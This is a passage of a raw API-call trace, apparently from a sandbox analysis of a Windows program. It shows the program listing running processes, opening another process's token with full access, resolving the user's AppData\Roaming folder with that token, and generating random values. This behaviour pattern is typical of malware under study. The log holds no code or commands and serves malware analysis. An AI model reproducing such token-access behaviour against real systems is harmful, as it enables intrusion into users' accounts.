returned 0x988368 [0138.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x988368, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988758 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.122] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988758) returned 1 [0138.122] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988758 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988758) returned 1 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991b98 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f038 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988758 [0138.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="userinit.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="userinit.exe", cchWideChar=12, lpMultiByteStr=0x988368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userinit.exe", lpUsedDefaultChar=0x0) returned 12 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887a0 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887a0) returned 1 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887a0 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887a0) returned 1 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x991bf8 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f0c0 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887a0 [0138.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x988368, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer.exe", lpUsedDefaultChar=0x0) returned 12 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f148 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988320) returned 1 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x982868 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f1d0 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988320 [0138.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x9887e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwm.exe", lpUsedDefaultChar=0x0) returned 7 [0138.123] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.123] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x9828c8 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9887e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988830 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988830) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988830 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988830) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x982928 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f2e0 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988830 [0138.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x9887e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988878 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988878) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988878 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988878) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x982988 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988878 [0138.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x9887e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9888c0 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9888c0) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9888c0 [0138.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9888c0) returned 1 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x9829e8 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9888c0 [0138.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x9887e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reader_sl.exe", lpUsedDefaultChar=0x0) returned 13 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988908 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988908) returned 1 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988908 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988908) returned 1 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x982a48 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f478 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988908 [0138.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9887e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988950 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988950) returned 1 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988950 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988950) returned 1 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x982aa8 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f500 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988950 [0138.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x9887e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988998 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988998) returned 1 [0138.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988998 [0138.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988998) returned 1 [0138.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x58) returned 0x982b08 [0138.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f588 [0138.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988998 [0138.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0138.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887e8 [0138.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x9887e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr.exe", lpUsedDefaultChar=0x0) returned 11 [0138.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9889e0 [0138.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887e8) returned 1 [0138.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9889e0) returned 1 [0138.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9889e0 [0138.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9889e0) returned 1 [0138.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d278) returned 1 [0138.126] NtOpenProcess (in: ProcessHandle=0x1a7fb24, DesiredAccess=0x400, ObjectAttributes=0x1a7fb30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1a7fb28*(UniqueProcess=0x1b4, UniqueThread=0x0) | out: ProcessHandle=0x1a7fb24*=0x158) returned 0x0 [0138.126] GetExitCodeProcess (in: hProcess=0x158, lpExitCode=0x1a7fb4c | out: lpExitCode=0x1a7fb4c*=0x103) returned 1 [0138.126] NtOpenProcessToken (in: ProcessHandle=0x158, DesiredAccess=0xf01ff, TokenHandle=0x1a7fb60 | out: TokenHandle=0x1a7fb60*=0x15c) returned 0x0 [0138.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988290) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dd90) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9882d8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e840) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991658) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9883b0) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9916b8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9883f8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991718) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988440) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991778) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988488) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9917d8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9884d0) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eb70) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991838) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988518) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ebf8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991898) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988560) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ec80) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9918f8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9885a8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ed08) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991958) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9885f0) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ed90) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9919b8) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988638) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991a18) returned 1 [0138.127] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988680) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991a78) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9886c8) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991ad8) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988710) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9efb0) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991b38) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988758) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f038) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991b98) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9887a0) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f0c0) returned 1 [0138.128] NtClose (Handle=0x158) returned 0x0 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991bf8) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988320) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f1d0) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982868) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988368) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9828c8) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988830) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f2e0) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982928) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988878) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982988) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9888c0) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9829e8) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988908) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f478) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982a48) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988950) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f500) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982aa8) returned 1 [0138.128] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988998) returned 1 [0138.129] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f588) returned 1 [0138.129] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982b08) returned 1 [0138.129] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f148) returned 1 [0138.129] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x988200) returned 1 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f148 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x800) returned 0x983850 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x184) returned 0x984058 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988200 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988998 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988950 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988908 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9888c0 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988878 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988830 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988368 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988320 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9887a0 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988758 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988710 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9886c8 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988680 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x988638 [0138.129] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885f0 [0138.129] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x15c, dwFlags=0x0, pszPath=0x983850 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0138.219] CryptAcquireContextW (in: phProv=0x1a7f884, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f884*=0x838fe0) returned 1 [0138.220] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f898 | out: pbBuffer=0x1a7f898) returned 1 [0138.220] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.220] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f588 [0138.220] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.221] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.221] CryptReleaseContext 